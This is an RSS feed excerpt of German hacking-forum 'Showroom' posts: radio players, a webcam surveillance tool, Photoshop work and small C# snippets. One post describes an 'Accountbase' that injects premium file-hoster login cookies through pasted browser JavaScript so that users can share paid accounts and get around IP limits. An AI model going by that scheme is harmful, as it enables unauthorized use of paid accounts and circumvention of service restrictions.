			<category domain="showroom-102">Showroom</category>
			<dc:creator>Shane</dc:creator>
			<guid isPermaLink="true">showroom-102/udj-version-1-0-13844</guid>
		</item>
		<item>
			<title><![CDATA[Vorschau 'SeeYou]]></title>
			<link>showroom-102/seeyou-13821?goto=newpost</link>
			<pubDate>Tue, 19 Jun 2012 21:52:54 GMT</pubDate>
			<description><![CDATA['SeeYou 
 
 
 
Bilder kommen die Tage!... 
 
 
 
*Ich stelle euch heute meine Software "SeeYou" vor!*]]></description>
			<content:encoded><![CDATA[<div><font size="5"><div style="text-align: center;"><span style="text-shadow: 0px 0px 10px #8d8d8d"><font color="Lime">'SeeYou</font></span></div></font><br />
<br />
<br />
<div style="text-align: center;">Bilder kommen die Tage<i>!</i>...</div><br />
<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><b><font color="White">Ich stelle euch heute meine Software &quot;<font color="Lime">SeeYou</font>&quot; vor<i>!</i></font></b><br />
</span><br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><b><font color="White">Was ist &quot;<font color="Lime">SeeYou</font>&quot;<i>?</i></font></b><br />
</span><br />
SeeYou ist ein Programm, das ihre Webcam in eine Überwachungskamera &quot;verwandelt&quot;.<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><b><font color="White">Was kann &quot;<font color="Lime">SeeYou</font>&quot; alles<i>?</i></font></b><br />
</span><br />
SeeYou kann:<br />
<ul><li style="">auf mehrere Android-Handys live übertragen</li><li style="">ihnen eine SMS/E-Mail schicken, falls sich etwas bewegt</li><li style="">Ton &amp; Video aufnehmen</li><li style="">einen Alarm-Ton ausgeben, wenn sich was bewegt</li><li style="">...</li></ul><br />
Vorschläge gern gesehen<i>!</i><br />
<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><b><font color="White">Wieviel kostet &quot;<font color="Lime">SeeYou</font>&quot;<i>?</i></font></b><br />
</span><br />
<br />
<font size="3"><i><font color="Lime">NIX</font> !!!</i></font><br />
<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><b><font color="White">Der Release-Termin:</font></b><br />
<br />
In 4 Wochen<br />
</span><br />
<br />
<br />
<br />
<br />
<span style="text-shadow: 0px 0px 10px #8d8d8d"><font color="White">Greetz</font></span><br />
<font color="Lime"><span style="text-shadow: 0px 0px 10px #8d8d8d">BioCode</span></font></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>BioCode</dc:creator>
			<guid isPermaLink="true">showroom-102/seeyou-13821</guid>
		</item>
		<item>
			<title>Vorschau U-Hacks Accountbase</title>
			<link>showroom-102/u-hacks-accountbase-13797?goto=newpost</link>
			<pubDate>Tue, 19 Jun 2012 14:39:07 GMT</pubDate>
			<description>Guten Tag,  
 
da es häufig Anfragen nach OCH gibt, habe ich mir mal ein System dafür einfallen lassen, wie sowas besser und sicherer gehandhabt...</description>
			<content:encoded><![CDATA[<div>Guten Tag, <br />
<br />
da es häufig Anfragen nach OCH gibt, habe ich mir mal ein System dafür einfallen lassen, wie sowas besser und sicherer gehandhabt werden kann. <br />
<br />
<b>Was kann es?</b><br />
Die Accountbase liefert euch Cookies zu Premium-OCH-Accounts. <br />
In einem Satz gesagt: Ihr kopiert einen von der Accountbase generierten Code, führt ihn im Browser aus, und habt ab sofort Zugriff auf einen Premium-Account des jeweiligen Hosters.<br />
<br />
<a href="http://www.u-img.net/view/3234Hg.png" target="_blank"><img src="http://u-img.net/img/3234Hg_thumb.png" border="0" alt="" /></a><br />
<br />
<b>Wie funktioniert es?</b>: <br />
<br />
Serverseitig wird ein Logincookie mit einem Premium-Account eines OCH (z.B. uploaded.to) generiert und zusätzlich mit anderen Infos über den Account gespeichert.<br />
In der Accountbase wird dazu passend ein JS-Code generiert. <br />
Diesen kann der User direkt kopieren und im Browser ausführen lassen. Dadurch wird der Cookie gesetzt und der Account kann zum downloaden genutzt werden. <br />
<br />
Dazu kommt noch eine serverseitige Anwendung, die in einem bestimmten Interval alle Accounts prüft, abgelaufene Sessions erneuert sowie invalide Accounts entsprechend markiert oder direkt kickt (noch nicht fertiggestellt).<br />
<br />
<b>Vorteile:</b><br />
<br />
<br />
<ul><li style=""> Missbrauch wird verringert, da der User das Plain-Passwort des Accounts nicht kennt und dies daher bei den meisten OCH auch nicht ändern kann</li><li style=""> Die IP-Limitierung der meisten OCH sollte sich dadurch umgehen lassen</li><li style=""> Jeder kann seinen Account anderen zur Verfügung stellen, und dadurch selbst OCH-Accounts anderer Hoster nutzen, zu denen er keinen Premium-Zugang hat </li></ul></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>DMW007</dc:creator>
			<guid isPermaLink="true">showroom-102/u-hacks-accountbase-13797</guid>
		</item>
		<item>
			<title><![CDATA[Release Alpha Knuddels/Banana Chat Client V1.0aa [Testversion]]]></title>
			<link>showroom-102/alpha-knuddels-banana-chat-client-v1-0aa-testversion-13516?goto=newpost</link>
			<pubDate>Tue, 12 Jun 2012 21:10:37 GMT</pubDate>
			<description><![CDATA[Abend,  
hier mein Alpha Client für den Banana Server (mit Flav's Huffman)  
 
Beschreibung  siehe hier...]]></description>
			<content:encoded><![CDATA[<div>Abend, <br />
hier mein Alpha Client für den Banana Server (mit Flav's Huffman) <br />
<br />
Beschreibung  siehe <a href="http://u-hacks.net/showroom-89/preview-alpha-knuddels-banana-chat-client-v1-0aa-13180/" target="_blank" rel="nofollow">hier</a> hab bis auf die Buttons nix mehr geändert. Der Client ist nur zum testen da und noch im Rohbau daher wäre es schön wenn ihr mir die gefundenen Bugs mitteilt :) <br />
<br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i45.tinypic.com/24dpljr.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i48.tinypic.com/6sap07.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i47.tinypic.com/2lxii6v.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i50.tinypic.com/1dvlu.png"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<br />
<br />
<b>Downloadlink</b><br />
<a href="http://uploaded.to/file/uhd0kc6a" target="_blank" rel="nofollow">http://uploaded.to/file/uhd0kc6a</a><br />
<br />
Verbindung: <br />
localhost, Port: 2710</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>uncopyable</dc:creator>
			<guid isPermaLink="true">showroom-102/alpha-knuddels-banana-chat-client-v1-0aa-testversion-13516</guid>
		</item>
		<item>
			<title><![CDATA[[CS5] Meine Photoshopwerke]]></title>
			<link>showroom-102/cs5-meine-photoshopwerke-13373?goto=newpost</link>
			<pubDate>Sat, 09 Jun 2012 22:49:40 GMT</pubDate>
			<description>Hallo ihr Lieben! 
 
Da ich heute mit Photoshop angefangen bin, möchte ich mal einen Thread eröffnen wo ich alle Photoshowerke posten werde. 
 
Hier...</description>
			<content:encoded><![CDATA[<div>Hallo ihr Lieben!<br />
<br />
Da ich heute mit Photoshop angefangen bin, möchte ich mal einen Thread eröffnen wo ich alle Photoshowerke posten werde.<br />
<br />
Hier mein 2. Photoshopversuch mit Tut:<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i47.tinypic.com/s2fz3k.gif"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a>
</div>
</div>
</div><br />
<br />
Aufwand: 15min<br />
<br />
Schwierigkeitsgrad: War Simpel hihio <br />
<br />
Über Kritik würde ich mich freuen! <br />
<br />
Liebe Grüße,<br />
<br />
K1NG! (:</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>K1NG</dc:creator>
			<guid isPermaLink="true">showroom-102/cs5-meine-photoshopwerke-13373</guid>
		</item>
		<item>
			<title>Vorschau Erstes Photoshop Werk</title>
			<link>showroom-102/erstes-photoshop-werk-13356?goto=newpost</link>
			<pubDate>Sat, 09 Jun 2012 15:36:15 GMT</pubDate>
			<description><![CDATA[Hallo ihr lieben!  
 
Ich habe mir mal Photoshop gedownloadet & mal mal ein wenig probiert und dabei ist das rausgekommen: Bild:...]]></description>
			<content:encoded><![CDATA[<div>Hallo ihr lieben! <br />
<br />
Ich habe mir mal Photoshop gedownloadet &amp; mal mal ein wenig probiert und dabei ist das rausgekommen: <div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i47.tinypic.com/2h4lv9v.gif"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a>
</div>
</div>
</div> sieht zwar ein wenig komisch aus aber egal. <br />
<br />
Aufwand: 10 Minuten!<br />
<br />
Wenn ich was richtig schön ansehnliches produziert habe, werde ich dieses bestimmt Posten!<br />
<br />
Seit bitte nicht all zu hart.. :x <br />
<br />
Gruß!</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>K1NG</dc:creator>
			<guid isPermaLink="true">showroom-102/erstes-photoshop-werk-13356</guid>
		</item>
		<item>
			<title>Release Online RadioPlayer Modul v.0.1 by Bazs</title>
			<link>showroom-102/online-radioplayer-modul-v-0-1-by-bazs-12342?goto=newpost</link>
			<pubDate>Wed, 16 May 2012 15:38:25 GMT</pubDate>
			<description>Hallo UH, 
 
Ich habe gedacht, ich werde mit den Programm erst die Tage fertig, aber ich habe es heute noch geschafft. 
 
*Zu den Player:* 
Dieser...</description>
			<content:encoded><![CDATA[<div>Hallo UH,<br />
<br />
Ich habe gedacht, ich werde mit den Programm erst die Tage fertig, aber ich habe es heute noch geschafft.<br />
<br />
<b><font color="Red">Zu den Player:</font></b><br />
Dieser Player spielt in der Combobox angezeigte Radio's, ihr Müsst diesen Player Installieren und dann könnt ihr den sofort nutzen.<br />
<br />
Was wird benötigt um Online RadioPlayer zu nutzen?<br />
Es wird Net. Framework 4.0 benötigt, sonst zeigt er eine Fehlermeldung an.<br />
<br />
<b>Screen:</b><br />
<a style="font-weight:bold;text-decoration:none;" target="blank" href="http://i47.tinypic.com/2uihs1h.jpg"><img  style="vertical-align:text-bottom;" src="https://u-img.net/img/2542Da.png"> BILD ANZEIGEN </a> <a style="font-size:10px;text-decoration:none;" href="http://u-hacks.net/news-und-ankuendigungen-4/erlaubte-imagehoster-17046/" target="blank"> [Warum wird das Bild nicht angezeigt?]</a><br />
<br />
<b><font color="Lime">Download:</font></b><br />
<a href="http://u-hacks.net/showroom-102/online-radioplayer-modul-v-0-1-bazs-12342/index2.html#post115025" target="_blank" rel="nofollow">Download RadioPlayer Modul MIT INSTALLATION</a><br />
<a href="http://u-hacks.net/attachments/showroom-102/173d1340206713-online-radioplayer-modul-v-0-1-bazs-radio-modul-ohne.rar" target="_blank" rel="nofollow">Download RadioPlayer Modul OHNE</a><br />
<u>Es gibt Probleme? dann melde diese bitte umgehend per PN an mich.</u><br />
<br />
<font color="Lime"><b>To Do:</b></font><br />
- Was gerade Läuft auslesen zu lassen (TB: <a href="http://tray.technobase.fm/radio.xml" target="_blank" rel="nofollow">http://tray.technobase.fm/radio.xml</a>)<br />
SUCHE VORSCHLÄGE! bitte hier Posten!<br />
<br />
Wie findet ihr den? (bitte erst Bewerten nachdem ihr den Player genutzt habt)<br />
<br />
Bei Fragen, stehe ich gern zur Verfügung.<br />
<br />
<font color="Yellow"><b>UPDATE:</b></font><br />
-Nun kann man per Klich auf &quot;Nach Updates suchen!&quot; nach neue Updates schauen! (ZUR ZEIT DEAKTIVIERT)<br />
- Das Design wurde etwas kleiner, es ist nun nicht mehr so Groß!<br />
- Tray-Funktion eingefügt<br />
mfg Bazs</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/online-radioplayer-modul-v-0-1-by-bazs-12342</guid>
		</item>
		<item>
			<title>Vorschau RadioPlayer Modul (beta)</title>
			<link>showroom-102/radioplayer-modul-beta-12324?goto=newpost</link>
			<pubDate>Wed, 16 May 2012 10:04:45 GMT</pubDate>
			<description>Hallo U-Hacks, 
 
heute möchte ich euch mein Radio Player Modul vorstellen, 
 
dieser Player kann jeden in der Liste stehendes Radio abspielen, es...</description>
			<content:encoded><![CDATA[<div>Hallo U-Hacks,<br />
<br />
heute möchte ich euch mein Radio Player Modul vorstellen,<br />
<br />
dieser Player kann jeden in der Liste stehendes Radio abspielen, es kommt nur drauf an was ihr hören wollt.<br />
<b><font color="Yellow"><br />
Zur Zeit in der Liste:</font></b><br />
Technobase.fm<br />
Hardbase.fm<br />
Techno4ever.fm (Main, Hard und Club)<br />
Technoloversfm.de<br />
Blackbeats.fm<br />
(Weitere folgen!)<br />
<br />
<b><font color="Orange">Screen:</font></b><br />
<img src="http://u-hacks.net/attachment.php?attachmentid=114&amp;stc=1&amp;d=1337162463" border="0" alt="" /><br />
<br />
<b><font color="Cyan">To Do:</font></b><br />
Paar Radio Streams erneuern.<br />
Bei jedem Abspielen eines Radios, ein Individuelles Bild vom Radio anzeigen lassen.<br />
<br />
<br />
Habt ihr auch noch Vorschläge? dann schreibt sie mir einfach per PN, ich werde diese dann schnellstmöglichst bearbeiten.<br />
<br />
Wie findet ihr den ? (<font color="Red"><b>1</b></font>-<b><font color="Lime">10</font></b>/10)<br />
<br />
Was könnte besser sein?<br />
<br />
Weitere Funktionen folgen!</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/radioplayer-modul-beta-12324</guid>
		</item>
		<item>
			<title>Vorschau Youtube Downloader + Konverter v0.1.</title>
			<link>showroom-102/youtube-downloader-konverter-v0-1-12040?goto=newpost</link>
			<pubDate>Wed, 09 May 2012 18:38:01 GMT</pubDate>
			<description>Hallo U-Hacks, 
 
heute möchte ich euch mein Youtube Downloader + Konverter 0.1 vorstellen. 
 
Ich weiß den bekommt man überall her, ich wollte...</description>
			<content:encoded><![CDATA[<div>Hallo U-Hacks,<br />
<br />
heute möchte ich euch mein Youtube Downloader + Konverter 0.1 vorstellen.<br />
<br />
Ich weiß den bekommt man überall her, ich wollte erstmal klein anfangen bevor ich jetzt mit einen Youtube Reg.-Bot anfange.<br />
<br />
Hier Screen:<br />
<img src="http://u-hacks.net/attachment.php?attachmentid=110&amp;stc=1&amp;d=1336648381" border="0" alt="" /><br />
UPDATED: Buttons angepasst.<br />
<br />
Wie findet ihr den?<br />
<br />
Was könnte ich dort noch verbessern?<br />
<br />
Würdet ihr den nutzen?</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/youtube-downloader-konverter-v0-1-12040</guid>
		</item>
		<item>
			<title>Viele Randoms mit Lambda generieren</title>
			<link>showroom-102/viele-randoms-mit-lambda-generieren-31854?goto=newpost</link>
			<pubDate>Thu, 03 May 2012 20:43:12 GMT</pubDate>
			<description>Immer mal wieder braucht man irgendwo paar Randomwerte, jeder Kennt Random.Next, mit lambda  + der Repeat-Funktion kann man sich auch direkt mal...</description>
			<content:encoded><![CDATA[<div>Immer mal wieder braucht man irgendwo paar Randomwerte, jeder Kennt Random.Next, mit lambda  + der Repeat-Funktion kann man sich auch direkt mal 10.000 davon generieren lassen:<br />
<br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
            int min = 0, max = 100000000, seed = 1337, count = 1000;<br />
var numbers = Enumerable.Repeat(new Random(seed), count).Select(r =&gt;r.Next(min, max));<br />
foreach (int number in numbers)<br />
    Console.WriteLine(number);<br />
Console.ReadLine();
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/viele-randoms-mit-lambda-generieren-31854</guid>
		</item>
		<item>
			<title>Ganz easy Klassen als XML speichern</title>
			<link>showroom-102/ganz-easy-klassen-als-xml-speichern-31687?goto=newpost</link>
			<pubDate>Wed, 02 May 2012 21:36:53 GMT</pubDate>
			<description>Wer kennt das nicht? Man hat eine ganze Menge Instanzen einer Klasse, und möchte diese gerne Persistent haben, sprich im Filesystem speichern. 
Dazu...</description>
			<content:encoded><![CDATA[<div>Wer kennt das nicht? Man hat eine ganze Menge Instanzen einer Klasse, und möchte diese gerne Persistent haben, sprich im Filesystem speichern.<br />
Dazu kann man dann komplizierte Dinge starten: SQLite benutzen, irgendwas CSV-artiges zusammenbasteln ODER diese Lösung benutzen:<br />
<br />
Folgendes Szenario:<br />
Ihr habt ein Spiel geschrieben, was mit einem Client-Server-System arbeitet.<br />
Wenn der Server heruntergefahren wird, soll er alle Spieler logischerweise speichern. Beim hochfahren soll er sie laden.<br />
Da es hier nur 3 Klassen gibt, die gespeichert werden sollen, nämlich die allgemeinen Settings, Statistiken und die Spielerliste, wäre hier SQLite ein wenig übertrieben. Selbst ne Datei zusammenzubasteln ginge auch, aber wäre viel zu viel Arbeit.<br />
<br />
Die Lösung ist XML-Serialisierung (Beispiel = viele Player-Instanzen in einer List&lt;Player&gt;):<br />
<br />
<font color="Red"><b>Hinweis: Die Klasse die ihr serialisieren wollt, muss einen parameterlosen Konstruktor haben und über dem Klassennamen muss [Serializable] stehen!</b></font><br />
<br />
<b>Speichern:</b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
foreach (Player p in _totalplayers)<br />
                    {<br />
                        XmlSerializer ser = new XmlSerializer(typeof(Player));<br />
                        FileStream str = new FileStream(&quot;players\&quot; + p.Nick + &quot;.xml&quot;, FileMode.Create);<br />
                        ser.Serialize(str, p);<br />
                        str.Close();<br />
                    }
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
<b>Laden:</b><br />
<script type="text/javascript" src="clientscript/syntaxhighlighter/shCore.js"></script>
<script type="text/javascript" src="clientscript/syntaxhighlighter/shBrushCSharp.js"></script>
<link type="text/css" rel="stylesheet" href="clientscript/syntaxhighlighter/styles/shCoreDefault.css"/>

<pre class="brush: csharp;">
XmlSerializer ser = new XmlSerializer(typeof(Player));<br />
            foreach (string s in Directory.GetFiles(&quot;players&quot;))<br />
            {                             <br />
                    StreamReader sr = new StreamReader(s);<br />
                    Player player = (Player)ser.Deserialize(sr);<br />
                    sr.Close();<br />
                    _totalplayers.Add(player.Nick, player);<br />
            }
</pre>
<script type="text/javascript">
SyntaxHighlighter.config.stripBrs = true;
SyntaxHighlighter.all();
</script><br />
<br />
Das Ganze natürlich ohne Errorhandling etc.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Sky.NET</dc:creator>
			<guid isPermaLink="true">showroom-102/ganz-easy-klassen-als-xml-speichern-31687</guid>
		</item>
		<item>
			<title>Release Hardbase.FM-Player 0.1</title>
			<link>showroom-102/hardbase-fm-player-0-1-11737?goto=newpost</link>
			<pubDate>Wed, 02 May 2012 16:30:11 GMT</pubDate>
			<description>Hallo U-Hacks, 
 
Heute möchte ich euch mein eigenen Hardbase.FM Player vorstellen. 
 
Ich habe diesen Player durch ein Tutorial gefertigt(siehe...</description>
			<content:encoded><![CDATA[<div>Hallo U-Hacks,<br />
<br />
Heute möchte ich euch mein eigenen Hardbase.FM Player vorstellen.<br />
<br />
Ich habe diesen Player durch ein Tutorial gefertigt(siehe <a href="http://u-hacks.net/tutorials-107/tutorial-1-vbulletin-grundgeruest-radioplayer-11481-new/" target="_blank" rel="nofollow">[Tutorial][1#] VB: Grundgerüst RadioPlayer</a>), Das Design kommt aber nicht davon.<br />
<br />
Dieser Player ist so wie der Technobase.FM-Player 0.1 der auch von mir kam.<br />
<br />
Dieser Player spielt von Morgens bis Abends das Radio <a href="http://www.Hardbase.fm" target="_blank" rel="nofollow">HardBase.FM - Internetradio, Webradio, Onlineradio, Hardstyle Radio</a>.<br />
<br />
Screen:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<img src="http://u-hacks.net/attachment.php?attachmentid=104&amp;stc=1&amp;d=1335975779" border="0" alt="" />
</div>
</div>
</div><br />
<br />
<img src="http://u-hacks.net/attachment.php?attachmentid=103&amp;stc=1&amp;d=1335911332" border="0" alt="" /><br />
<a href="http://ul.to/yrjag7vx" target="_blank" rel="nofollow">Hardbase.FM-Player 0.1.rar (322,38 KB) - uploaded.to</a><br />
File size: 	322.4 KB ( 330117 bytes ) <br />
<br />
Virustotal-Link:<br />
<a href="https://www.virustotal.com/file/28eada986ed2d7aa1d9738ba09d6cdfebfbeb0a34e8ce0b59a404130a850b4ab/analysis/1335976091/" target="_blank" rel="nofollow">https://www.virustotal.com/file/28ea...is/1335976091/</a><br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
SHA256: 	28eada986ed2d7aa1d9738ba09d6cdfebfbeb0a34e8ce0b59a  404130a850b4ab<br />
File name: 	Hardbase.FM-Player 0.1.rar<br />
Detection ratio: 	1 / 40 (ist kein Virus)<br />
Analysis date: 	2012-05-02 16:28:11 UTC ( 1 Minute ago ) 
</div>
</div>
</div><br />
<br />
<br />
<br />
Ich würde mich über Verbesserungsvorschläge/Veränderungen oder Bugreports sehr freuen, meldet diese einfach per PN.<br />
<br />
lg,<br />
<br />
Bazs<br />
<br />
<font color="Red"><font size="4"><b>To do:</b></font></font><br />
<br />
- Wunschbox Form hinzufügen! (Kommt in v. 2 bzw. später)</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Bazs</dc:creator>
			<guid isPermaLink="true">showroom-102/hardbase-fm-player-0-1-11737</guid>
		</item>
		<item>
			<title>Release Technobase.FM-Player 0.1</title>
			<link>showroom-102/technobase-fm-player-0-1-11704?goto=newpost</link>
			<pubDate>Tue, 01 May 2012 22:32:55 GMT</pubDate>
			<description>Hallo U-Hacks, 
 
Heute möchte ich euch mein eigenen Technobase.FM Player vorstellen. 
 
Ich habe diesen Player durch ein Tutorial gefertigt(siehe...</description>
			<content:encoded><![CDATA[<div>Hallo U-Hacks,<br />
<br />
Heute möchte ich euch mein eigenen Technobase.FM Player vorstellen.<br />
<br />
Ich habe diesen Player durch ein Tutorial gefertigt(siehe <a href="http://u-hacks.net/tutorials-107/tutorial-1-vbulletin-grundgeruest-radioplayer-11481-new/" target="_blank" rel="nofollow">[Tutorial][1#] VB: Grundgerüst RadioPlayer</a>), Das Design kommt aber nicht davon.<br />
<br />
Dieser Player spielt von Morgens bis Abends das Radio <a href="http://www.Technobase.fm" target="_blank" rel="nofollow">TechnoBase.FM - Internetradio, Webradio, Onlineradio, Techno Radio</a>.<br />
<br />
Screen:<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<img src="http://u-hacks.net/attachment.php?attachmentid=102&amp;stc=1&amp;d=1335911252" border="0" alt="" />
</div>
</div>
</div><br />
<img src="http://u-hacks.net/attachment.php?attachmentid=103&amp;stc=1&amp;d=1335911332" border="0" alt="" /><br />
<a href="http://uploaded.to/file/ynk5jgwd" target="_blank" rel="nofollow">Technobase.FM-Player 0.1.zip (283,38 KB) - uploaded.to</a><br />
<br />
Virustotal-Link:<br />
<a href="https://www.virustotal.com/file/b6a289277610bb32264b27dcc8481c261786c78464b860f1dad3b0e233a27840/analysis/1335911518/" target="_blank" rel="nofollow">https://www.virustotal.com/file/b6a2...is/1335911518/</a><br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
SHA256: 	b6a289277610bb32264b27dcc8481c261786c78464b860f1da  d3b0e233a27840<br />
File name: 	Technobase.FM-Player 0.1.zip<br />
Detection ratio: 	<font color="Red">1 / 42</font> (Dies ist kein Virus!)<br />
Analysis date: 	2012-05-01 22:31:58 UTC ( 0 Minuten ago ) 
</div>
</div>
</div><br />
<br />
<br />
<br />
Ich würde mich über Verbesserungsvorschläge/Veränderungen oder Bugreports sehr freuen, meldet diese einfach per PN.<br />
<br />
lg,<br />
<br />
Bazs<br />
<br />
<font color="Red"><font size="4"><b>To do:</b></font></font><br />
<br />
- Wunschbox Form hinzufügen! (Kommt in v. 2 bzw. später)</div>

]]></content:encoded>
